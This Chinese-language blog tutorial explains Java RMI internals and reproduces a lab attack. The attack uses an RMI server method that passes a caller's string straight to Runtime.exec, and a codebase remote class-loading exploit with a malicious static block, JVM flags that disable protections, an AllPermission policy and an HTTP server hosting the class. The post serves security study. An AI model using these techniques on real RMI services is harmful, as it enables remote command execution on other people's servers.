浅谈 Java RMI

0x00 前言

在上一篇文章中我们分析了fastjson TemplatesImpl的利用链,本来这篇应该是分析fastjson JdbcRowSetImpl利用链的,但是由于在JdbcRowSetImpl这条链中会用到RMI相关知识,所以这篇文章我们就先来简单的学习一下RMI

在学习过程中发现RMI的知识非常的多,所以本篇文章只是简单的介绍一下RMI,后续有时间会具体研究补上文章

0x01 RMI 介绍

RMI(Rmote Method Invoke)全名远程方法调用。其实就是客户端(Client)可以远程调用服务端(Server)上的方法,JVM虚拟机能够远程调用另一个JVM虚拟机中的方法,但是客户端中并不是直接调用服务器上的方法的,而是会借助存根 (stub) 充当我们客户端的代理,来访问服务端,同时骨架 (Skeleton) 是另一个代理,它与真实对象一起在服务端上,骨架将接受到的请求交给服务器来处理,服务器处理完成之后将结果进行打包发送至存根 ,然后存根将结果进行解包之后的结果发送给客户端

image-20210313145127204

有几点我们单独拿出来说说

序列化传输

RMI在数据传输中的对象必须要实现java.io.Serializable接口,因为传输过程中都是进行序列化进行传输并且客户端的serialVersionUID字段要与服务器端保持一致。下图中的ac ed就是反序列化的标志

image-20210313142445542

RMI 主要构成部分

RMI的主要由三部分组成

  1. RMI Registry 注册表:服务实例将被注册表注册到特定的名称中(可以理解为电话簿)
  2. RMI Server 服务端
  3. RMI Client 客户端:客户端通过查询注册表来获取对应名称的对象引用,以及该对象实现的接口

这里借用P牛的图片简单说一下流程(具体会在下文进行分析)

首先我们的RMI Client 会远程连接RMI Registry(默认端口1099),然后会在Registry 寻找名字为Test的对象 (假设此时客户端要调用Test对象中的某个方法),Registry会寻找对应名字的远程对象引用,并且序列化后进行返回(数据内容就是远程对象的地址,这里返回的对象就是前文提到的存根stub),客户端在接受到之后首先会在本机中的classpath进行查找,如果没有找到则说明是远程对象,客户端就会与远程地址进行tcp连接。

image-20210313143422234

存根(Stub)和骨架(Skeleton)

参考自:https://paper.seebug.org/1091/#java-rmi_1

当RMI Server 启动的时候端口是被随机分配的,但是我们的RMI Registry端口是知道的

  1. 客户端通过远程连接 Registry 获取存根(Stub),存根(Stub)中包含了远程对象的定位信息,如Socket端口、服务端主机地址等等,并实现了远程调用过程中具体的底层网络通信细节。
  2. 由于存根(Stub) 是客户端的代理类,所以客户端可以调用Stub上的方法
  3. Stub远程连接到服务器,提交对应的参数
  4. 骨架(Skeleton) 收到数据并对其进行反序列化,然后将发送给我们的Server
  5. Server执行之后将结果进行打包,传输给Client

0x02 简单的 RMI Demo

前面概念说了那么多接下来我们直接结合实例来分析

Server

  1. 编写一个实现Remote的接口
  2. 编写一个继承于UnicastRemoteObject的接口实现类

远程对象的实现类必须要继承自UnicastRemoteObject,只有继承了才能表示该类是一个远程对象,如果不继承的话我们就需要手动调用类中的exportObject静态方法

Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
import java.rmi.Naming; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class server { public interface RMIinterface extends Remote{ String RmiDemo() throws Exception; } public class RMIInstance extends UnicastRemoteObject implements RMIinterface{ public RMIInstance() throws RemoteException { super(); } public String RmiDemo(String cmd) throws Exception{ Runtime.getRuntime().exec(cmd); return "+OK"; } } }
Code language: PHP (php)

Registry

RMI Registry就像一个RMI 电话簿,你可以使用Registry来查找另一台主机上注册的远程对象的引用,我们可以在上面注册一个Name 到对象的绑定关系,但是Registry⾃己是不会执行远程⽅法的,RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server,最后远程方法实际上在RMI Server上调用的。

// 创建并运行了Registry服务,且端口为1099 LocateRegistry.createRegistry(1099); // Naming.bind 进行绑定,将rmIinterface对象绑定到Exp这个名字上, 第一个参数为一个为url,第二个参数则是我们的对象 Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
Code language: JavaScript (javascript)

我们这边将Server 和 Registry进行组合

import java.rmi.Naming; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class server { public interface RMIinterface extends Remote{ String RmiDemo() throws Exception; } public class RMIInstance extends UnicastRemoteObject implements RMIinterface{ public RMIInstance() throws RemoteException { super(); } public String RmiDemo(String cmd) throws Exception{ Runtime.getRuntime().exec(cmd); return "+OK"; } } public void start() throws Exception{ RMIinterface rmIinterface = new RMIInstance(); LocateRegistry.createRegistry(1099); Naming.bind("rmi://127.0.0.1/Exp",rmIinterface); } public static void main(String[] args) throws Exception { new server().start(); } }
Code language: PHP (php)

Client

利用Naming.lookup找到对应的实例,然后调用方法,将 open -a Calculator 作为参数进行传入

import java.rmi.Naming; public class client { public static void main(String[] args) throws Exception{ server.RMIinterface rmIinterface = (server.RMIinterface) Naming.lookup("rmi://127.0.0.1:1099/Exp"); String res = rmIinterface.RmiDemo("open -a Calculator"); System.out.println(res); } }
Code language: JavaScript (javascript)

可以发现成功触发Server类中的方法,从而跳出计算器

image-20210313154522707

RMI通信(Wireshark)

首先会和Registry进行TCP三次握手,建立连接

然后在红框处,Client会向Registry发出一个Call请求,然后Registry会返回一个ReturnData,ReturnData中会包含目标IP地址等信息(数据传输都是序列化的)

搜索语句 : rmi || tcp.port eq 53835 || tcp.port eq 53756 这里我是根据端口号对应的提取出来的,如果在实际情况下可以直接定位源ip和目的ip

image-20210313221006305

查看ReturnData的数据

下方红框处就代表的是端口,在返回的数据中不仅仅包含了地址端口信息还包含了其他信息

红框处的 \x00\x00\xd1\xfa 首先这里涉及大端序小端序的问题(这里感谢ruozhi师傅的解答),想了解具体的可以参考下面这篇文章

https://www.ruanyifeng.com/blog/2016/11/byte-order.html

简单的概括一下就是,我们在平时遇到的时候都是大端序,但是计算机在读取数据的时候会优先读取低位也就是采用小端序 (这样效率更高)

image-20210314093651335

所以这里我们需要利用python将大小端进行转换,转换之后发现返回的端口是53754

image-20210314101837103

ps:这里的 >I 是struct的格式支持,感兴趣的师傅们可以看下方链接的文章

https://www.cnblogs.com/gala/archive/2011/09/22/2184801.html
image-20210314102028295

在知道远程服务器的端口号之后,我们可先增加wireshark过滤条件 tcp.port eq 53754 (本地的包太多包了Orz)

过滤之后发现,客户端在获取到了远程服务器的地址及端口号之后,会和Server进行了一次tcp连接

所以在整个RMI通信流程中一共会进行两次TCP连接

  1. 第一次会和Registry建立一次TCP连接,Registry返回存根(Stub)
  2. 第二次获取到Server的地址后(192.168.1.116:53754),利用存根调用远程方法进行第二次TCP连接,所以方法调用就是在该TCP通信中
image-20210314102349750

最后再放一张流程图方便大家理解

image-20210314140524006

0x03 RMI带来的安全问题

RMI由于传输是序列化传输的所以会带来很多的安全问题,这里主要来简单的介绍一下

通常RMI Registry的默认端口为1099,那么在我们能够访问到RMI Registry的情况下我们可以做什么?

  1. 尝试绑定恶意对象 答案是不可以,只有来源地址是localhost的时候,才能调用rebind、 bind、unbind方法,但是我们可以使用list和lookup方法
  2. 利用RMI服务器上存在的恶意方法进行命令执行 我们可以首先通过list列出所有的对象引用,然后只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用,之前曾经有一个工具,其中一个功能就是进行危险方法的探测 https://github.com/NickstaDB/BaRMIe
image-20210314181642229

利用codebase执行命令

codebase是什么

简单来说codebase就是远程加载类的路径,当对象在发送序列化的数据的时候会带上codebase信息,当接受方在本地classpath中没有找到类的话,就会去codebase所指向的地址加载类

我们可以利用 -Djava.rmi.server.codebase=http://url:8080/ 来设置我们的codebase参数

codebase的危害

以上是正常的用途,但是作为安全人员如果将codebase指定为我们的恶意地址这样就很有可能造成危害,如果将codebase指向地址上的类改为Server请求的同名文件,那么Server就会加载我们的恶意类从而造成命令执行

所以官方也意识到了这一问题,并采取了一些措施

官方将 java.rmi.server.useCodebaseOnly 参数的默认值由false 改为了true 。在java.rmi.server.useCodebaseOnly参数配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase,不再支持从RMI请求中获取。

所以现在需要符合以下条件才能成功利用:

  1. 安装并配置了SecurityManager
  2. 配置 java.rmi.server.useCodebaseOnly 参数为false 例:java -Djava.rmi.server.useCodebaseOnly=false

将RMIClient.java 编译之后会生成RMIClient.class 和 RMIClient$Payload.class,同时我们的服务器又会访问这两个文件

那么如果我们往RMIClient.java中添加恶意命令执行的代码,例如如下恶意静态代码

static { try{ Runtime.getRuntime().exec("open -a Calculator"); } catch (Exception e){ e.printStackTrace(); } }
Code language: PHP (php)

那么在指定codebase的情况下,服务器就会向我们codebase所指向的地址进行请求并且加载,从而触发静态代码片段中的恶意命令从而执行命令,下面就是服务端请求的截图:

image-20210315084420583

这里利用p神的代码进行复现,下面首先进行一些配置

ICalc.java

首先创建一个sum接口

import java.rmi.Remote; import java.rmi.RemoteException; import java.util.List; public interface ICalc extends Remote { public Integer sum(List<Integer> params) throws RemoteException; }
Code language: PHP (php)
Calc.java

编写一个接口的实现类

import java.rmi.Remote; import java.rmi.RemoteException; import java.util.List; import java.rmi.server.UnicastRemoteObject; public class Calc extends UnicastRemoteObject implements ICalc { public Calc() throws RemoteException {} public Integer sum(List<Integer> params) throws RemoteException { Integer sum = 0; for (Integer param : params) { sum += param; } return sum; } }
Code language: PHP (php)
RemoteRMIServer.java

编写远程RMI服务器,这里将Registry 与 Server 绑定在了一起

import java.rmi.Naming; import java.rmi.registry.LocateRegistry; public class RemoteRMIServer { private void start() throws Exception { if (System.getSecurityManager() == null) { System.out.println("setup SecurityManager"); System.setSecurityManager(new SecurityManager()); } Calc h = new Calc(); LocateRegistry.createRegistry(1099); Naming.rebind("refObj", h); } public static void main(String[] args) throws Exception { new RemoteRMIServer().start(); } }
Code language: JavaScript (javascript)

命令行:

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.hostname=192.168.1.116 -Djava.security.policy=client.policy RemoteRMIServer
Code language: JavaScript (javascript)

IDEA配置如下:

-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.hostname=192.168.1.116 -Djava.security.policy=client.policy
Code language: JavaScript (javascript)
image-20210316155233975
RMIClient.java
import java.rmi.Naming; import java.util.List; import java.util.ArrayList; import java.io.Serializable; public class RMIClient implements Serializable { private static final long serialVersionUID = 1L; public class Payload extends ArrayList<Integer> {} public void lookup() throws Exception { ICalc r = (ICalc) Naming.lookup("rmi://192.168.1.116:1099/refObj"); List<Integer> li = new Payload(); li.add(3); li.add(4); System.out.println(r.sum(li)); } public static void main(String[] args) throws Exception { new RMIClient().lookup(); } }
Code language: PHP (php)

命令行配置:

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.1.116:8000/ -Djava.security.policy=client.policy RMIClient
Code language: JavaScript (javascript)

IDEA配置:

IDEA 如果要debug分析的话,需要删除target文件夹下的这两个文件,因为这样会优先加载本地classpath而不去加载我们codebase指定的远程路径上的类

image-20210316160448254
image-20210316160310116
java.policy.applet

在目录下添加该文件,如果不添加的话就会有报错显示没有权限

grant{ permission java.security.AllPermission; };
开启HTTP服务器

恶意RMIClient.java

在静态代码段中插入我们的恶意命令

import java.rmi.Naming; import java.util.List; import java.util.ArrayList; import java.io.Serializable; public class RMIClient implements Serializable { private static final long serialVersionUID = 1L; static { try{ Runtime.getRuntime().exec("open -a Calculator"); } catch (Exception e){ e.printStackTrace(); } } public class Payload extends ArrayList<Integer> {} public void lookup() throws Exception { ICalc r = (ICalc) Naming.lookup("rmi://192.168.1.116:1099/refObj"); List<Integer> li = new Payload(); li.add(3); li.add(4); System.out.println(r.sum(li)); } public static void main(String[] args) throws Exception { new RMIClient().lookup(); } }
Code language: PHP (php)

先编译文件夹下的所有java文件,然后开启8000端口的http服务器

javac *.java python -m SimpleHTTPServer 8000
Code language: CSS (css)
image-20210316160818362

最终执行效果,发现我们的服务端请求了我们恶意HTTP服务器上的恶意类并且进行了加载从而触发了命令执行

效果如下:

image-20210315152100592

该命令执行是服务端,服务端接收到之后向codebase指向的地址进行请求并进行加载,如果codebase可控,那么我们就可以插入我们的地址从而导致命令执行

RMI codebase命令执行简单分析

由于具体流程分析太长(同时俺太菜)所以这里只对命令执行过程中的关键点进行分析

ps:debug过程中将如下红框取消勾选,由于代码中涉及代理,而IDEA debug是利用toString,在调用toString的时候会进入代理类的invoke方法从而影响调试结果

image-20210316202244063
RemoteRMIServer

sun.rmi.server.MarshalInputStream.class 62行 (这里俺是一步步跟下来的,太菜了只能慢慢跟

在红框处 利用RMIClassLoader进行了类的加载,远程加载了我们http服务器上的类

image-20210316210238417

跟进loadClass方法

image-20210316210315663

继续进行跟进

image-20210316210425341

进入 pathToURLs 方法 发现会先存入缓存

image-20210316212952490

最终远程加载我们的恶意类

image-20210316213032471

一路跟下来发现在红框处进行了类的加载

image-20210316230904323

跟进发现是继承于URLClassLoader,所以实际上是利用URLClassLoader进行远程加载的

image-20210317084608930
image-20210317090348427

所以从源码层面看是服务端向codebase发起了请求,利用了URLClassLoader进行了加载,最终导致命令执行

0x04 写在最后(碎碎念

Java RMI 涉及非常多,在该片文章中只能浅显的进行介绍,这里也对各位读者说一声抱歉,后面会写

每次写文章的时候都很想把每个地方都写清楚,想让更少的人走弯路,但又深知自己只是一个学习Java不久的初学者,很多地方都没有自己的深入理解,导致在写文章中很多地方没有写清楚,但是同时又想尽快的更新文章,就导致自己比较浮躁

写在文章最后也是想劝谏自己耐心钻研学习,少些浮躁,争取写出更多高质量的文章。

0x05 参考链接

p牛-代码审计

https://y4er.com/post/java-rmi/

https://www.f4de.ink/pages/152581/#rmi%E5%92%8Cjndi

https://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247485809&idx=3&sn=36f96dfb41bf03cebc4c92e63cd4c181

https://drops.blbana.cc/2020/04/16/Fastjson-JdbcRowSetImpl%E5%88%A9%E7%94%A8%E9%93%BE/

https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html

https://www.anquanke.com/post/id/199481#h3-10

https://paper.seebug.org/1091/#java-rmi_3

https://www.smi1e.top/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0%E4%B9%8Bjndi%E6%B3%A8%E5%85%A5/

评论

  1. 2h0ng
    3 年前
    2021-6-09 20:44:56

    好文章!

  2. andme
    2 年前
    2022-1-27 10:24:29

    demo的源码能分享嘛

    • KpLi0rn 博主
      2 年前
      2022-2-03 8:17:18

      我文章中已经都贴出来了

    • KpLi0rn 博主
      2 年前
      2022-6-09 12:35:41

      对的 但是也没办法 重新替换工作量比较大,可以去我的公众号看那边图片正常

  3. SOS
    2 年前
    2022-8-01 17:22:26

    wireshark抓的RMI的包能发到邮箱吗?

  4. 小健健
    1 年前
    2023-1-26 8:07:44

    怎么跟到sun.rmi.server.MarshalInputStream的啊

    • KpLi0rn 博主
      1 年前
      2023-1-27 16:08:40

      我记得当初好像是一步步调试的

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇